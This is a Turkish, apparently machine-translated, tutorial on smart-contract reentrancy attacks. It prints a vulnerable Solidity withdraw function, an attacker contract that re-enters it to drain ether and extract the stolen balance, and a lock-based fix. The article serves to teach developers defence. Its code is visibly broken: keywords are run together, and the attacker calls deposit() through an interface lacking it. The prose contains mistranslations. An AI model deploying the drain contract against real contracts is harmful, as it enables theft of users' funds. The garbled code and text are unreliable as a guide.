İşte Web 3 şirketlerine milyonlara mal olan en yaygın akıllı sözleşme saldırılarından birinin nasıl gerçekleştiği...
Milyonlarca dolar değerinde kripto para biriminin çalındığı blockchain endüstrisindeki en büyük hacklerden bazıları yeniden giriş saldırılarından kaynaklandı. Bu saldırılar son yıllarda daha az yaygın hale gelse de, hala blockchain uygulamaları ve kullanıcıları için önemli bir tehdit oluşturuyor.
Peki yeniden giriş saldırıları tam olarak nedir? Nasıl konuşlandırılırlar? Ve geliştiricilerin bunların olmasını önlemek için alabileceği herhangi bir önlem var mı?
Yeniden Giriş Saldırısı Nedir?
Yeniden giriş saldırısı şu durumlarda gerçekleşir: savunmasız bir akıllı sözleşme işlevi geçici olarak işlem akışının denetiminden vazgeçerek kötü niyetli bir sözleşmeye harici bir çağrı yapar. Kötü amaçlı sözleşme daha sonra fonlarını boşaltırken yürütmeyi bitirmeden önce orijinal akıllı sözleşme işlevini tekrar tekrar çağırır.
Esasen, Ethereum blok zincirindeki bir para çekme işlemi üç aşamalı bir döngüyü takip eder: bakiye onayı, havale ve bakiye güncellemesi. Bir siber suçlu, bakiye güncellemesinden önce döngüyü ele geçirebilirse, bir cüzdan boşalana kadar tekrar tekrar para çekebilir.
En rezil blockchain hack'lerinden biri olan Ethereum DAO hack'i, Bozuk para masası, 60 milyon $ değerinde eth kaybına yol açan ve ikinci en büyük kripto para biriminin gidişatını temelden değiştiren bir yeniden giriş saldırısıydı.
Yeniden Giriş Saldırısı Nasıl Çalışır?
Memleketinizde erdemli yerlilerin paralarını sakladıkları bir banka hayal edin; toplam likiditesi 1 milyon dolardır. Ancak, bankanın kusurlu bir muhasebe sistemi vardır; çalışanlar banka bakiyelerini güncellemek için akşama kadar bekler.
Yatırımcı arkadaşınız kasabayı ziyaret eder ve muhasebe kusurunu keşfeder. Bir hesap oluşturur ve 100.000 $ yatırır. Bir gün sonra 100.000$ çekti. Bir saat sonra, 100.000 $ çekmek için başka bir girişimde bulunur. Banka bakiyesini güncellemediği için hala 100.000 dolar gösteriyor. Böylece parayı alır. Hiç para kalmayana kadar bunu tekrar tekrar yapıyor. Personel, ancak akşam defterleri dengelediklerinde para olmadığını anlar.
Akıllı sözleşme bağlamında süreç şu şekilde ilerler:
- Bir siber suçlu, bir akıllı sözleşme "X"i bir güvenlik açığıyla tanımlar.
- Saldırgan, "Y" adlı kötü niyetli bir sözleşmeye para göndermek için hedef sözleşmeye (X) meşru bir işlem başlatır. Yürütme sırasında Y, X'teki savunmasız işlevi çağırır.
- Sözleşme harici olayla etkileşimi beklerken X'in sözleşme yürütmesi duraklatıldı veya ertelendi
- Yürütme duraklatıldığında, saldırgan X'teki aynı savunmasız işlevi tekrar tekrar çağırır ve yürütmeyi olabildiğince çok kez tetikler.
- Her yeniden girişte, sözleşmenin durumu manipüle edilerek saldırganın fonları X'ten Y'ye çekmesine izin verilir.
- Fonlar tükendiğinde, yeniden giriş durur, X'in gecikmeli uygulaması nihayet tamamlanır ve sözleşmenin durumu son yeniden girişe göre güncellenir.
Genel olarak, saldırgan yeniden giriş güvenlik açığından kendi yararına başarılı bir şekilde yararlanır ve sözleşmeden fon çalar.
Bir Yeniden Giriş Saldırısı Örneği
Öyleyse, konuşlandırıldığında teknik olarak bir yeniden giriş saldırısı tam olarak nasıl gerçekleşebilir? İşte yeniden giriş ağ geçidine sahip varsayımsal bir akıllı sözleşme. Takip etmeyi kolaylaştırmak için aksiyomatik adlandırma kullanacağız.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
bu Savunmasız Sözleşme kullanarak sözleşmeye eth yatırmasına izin verir. Depozito işlev. Kullanıcılar daha sonra yatırılan eth'lerini kullanarak geri çekebilirler. geri çekilmek işlev. Ancak, yeniden giriş güvenlik açığı var. geri çekilmek işlev. Bir kullanıcı geri çekildiğinde, sözleşme, bakiyeyi güncellemeden önce talep edilen tutarı kullanıcının adresine aktarır ve bir saldırganın istismar etmesi için bir fırsat yaratır.
Şimdi, işte bir saldırganın akıllı sözleşmesinin nasıl görüneceği.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Saldırı başlatıldığında:
- bu Saldırgan Sözleşmesi adresini alır Savunmasız Sözleşme yapıcısında saklar ve savunmasızSözleşme değişken.
- bu saldırı işlevi saldırgan tarafından çağrılır ve içine bir miktar eth bırakır. Savunmasız Sözleşme kullanmak Depozito işlevi ve ardından hemen çağırma geri çekilmek işlevi Savunmasız Sözleşme.
- bu geri çekilmek işlevi Savunmasız Sözleşme talep edilen miktarda eth'i saldırganın Saldırgan Sözleşmesi Bakiyeyi güncellemeden önce, ancak saldırganın sözleşmesi harici arama sırasında duraklatıldığı için işlev henüz tamamlanmadı.
- bu almak işlevi Saldırgan Sözleşmesi tetiklenir çünkü Savunmasız Sözleşme harici arama sırasında bu sözleşmeye eth gönderdi.
- Alma işlevi, Saldırgan Sözleşmesi bakiye en az 1 eter (çekilecek miktar) ise, daha sonra tekrar devreye girer. Savunmasız Sözleşme onu arayarak geri çekilmek tekrar işlev
- Üç ila beş arasındaki adımlar, Savunmasız Sözleşme parası biter ve saldırganın sözleşmesi önemli miktarda eth biriktirir.
- Son olarak, saldırgan para çekmeÇalınan fonlar işlevi Saldırgan Sözleşmesi sözleşmelerinde birikmiş tüm fonları çalmak için.
Saldırı, ağın performansına bağlı olarak çok hızlı gerçekleşebilir. Ethereum'un hard fork'una yol açan DAO Hack gibi karmaşık akıllı sözleşmeleri dahil ederken Ethereum ve Ethereum Klasik, saldırı birkaç saat içinde gerçekleşir.
Yeniden Giriş Saldırısı Nasıl Önlenir?
Yeniden giriş saldırısını önlemek için, savunmasız akıllı sözleşmeyi, güvenli akıllı sözleşme geliştirmeye yönelik en iyi uygulamaları takip edecek şekilde değiştirmemiz gerekiyor. Bu durumda aşağıdaki koddaki gibi "checks-efektler-etkileşimler" şablonunu uygulamalıyız.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
Bu sabit sürümde, bir kilitli belirli bir hesabın para çekme sürecinde olup olmadığını izlemek için haritalama. Bir kullanıcı para çekme işlemi başlattığında, sözleşme hesabının kilitli olup olmadığını kontrol eder (!isLocked[msg.sender]), aynı hesaptan şu anda devam eden başka bir para çekme işleminin olmadığını gösterir.
Hesap kilitli değilse durum değişikliği ve dış etkileşim ile sözleşme devam eder. Durum değişikliği ve harici etkileşimden sonra, hesabın kilidi tekrar açılır ve gelecekteki para çekme işlemlerine izin verilir.
Yeniden Giriş Saldırısı Türleri
Genel olarak, istismarın doğasına bağlı olarak üç ana yeniden giriş saldırısı türü vardır.
- Tek yeniden giriş saldırısı: Bu durumda, saldırganın tekrar tekrar çağırdığı güvenlik açığı bulunan işlev, yeniden giriş ağ geçidine duyarlı işlevle aynıdır. Yukarıdaki saldırı, kodda uygun kontroller ve kilitler uygulanarak kolayca önlenebilen tek bir yeniden giriş saldırısı örneğidir.
- İşlevler arası saldırı: Bu senaryoda, bir saldırgan, savunmasız olanla aynı durumu paylaşan aynı sözleşme içinde farklı bir işlevi çağırmak için savunmasız bir işlevden yararlanır. Saldırgan tarafından çağrılan ikinci işlevin, onu istismar için daha çekici hale getiren arzu edilen bir etkisi vardır. Bu saldırı daha karmaşık ve tespit edilmesi daha zor olduğundan, saldırıyı hafifletmek için birbirine bağlı işlevlerde sıkı kontroller ve kilitler gerekiyor.
- Sözleşmeler arası saldırı: Bu saldırı, harici bir sözleşme savunmasız bir sözleşmeyle etkileşime girdiğinde gerçekleşir. Bu etkileşim sırasında, savunmasız sözleşmenin durumu, tam olarak güncellenmeden önce harici sözleşmede çağrılır. Genellikle birden çok sözleşme aynı değişkeni paylaştığında ve bazıları paylaşılan değişkeni güvensiz bir şekilde güncellediğinde olur. Sözleşmeler ve periyodikler arasında güvenli iletişim protokolleri akıllı sözleşme denetimleri Bu saldırıyı azaltmak için uygulanmalıdır.
Yeniden giriş saldırıları farklı biçimlerde ortaya çıkabilir ve bu nedenle her birini önlemek için özel önlemler gerektirir.
Yeniden Giriş Saldırılarından Korunmak
Yeniden giriş saldırıları, önemli mali kayıplara neden oldu ve blockchain uygulamalarına olan güveni baltaladı. Sözleşmeleri korumak için geliştiriciler, yeniden giriş güvenlik açıklarından kaçınmak için en iyi uygulamaları özenle benimsemelidir.
Ayrıca, akıllı sözleşmenin savunmasını daha da güçlendirmek için güvenli para çekme kalıpları uygulamalı, güvenilir kitaplıklar kullanmalı ve kapsamlı denetimler yapmalıdırlar. Elbette, ortaya çıkan tehditler hakkında bilgi sahibi olmak ve güvenlik çabalarında proaktif olmak, onların da blockchain ekosistemlerinin bütünlüğünü korumasını sağlayabilir.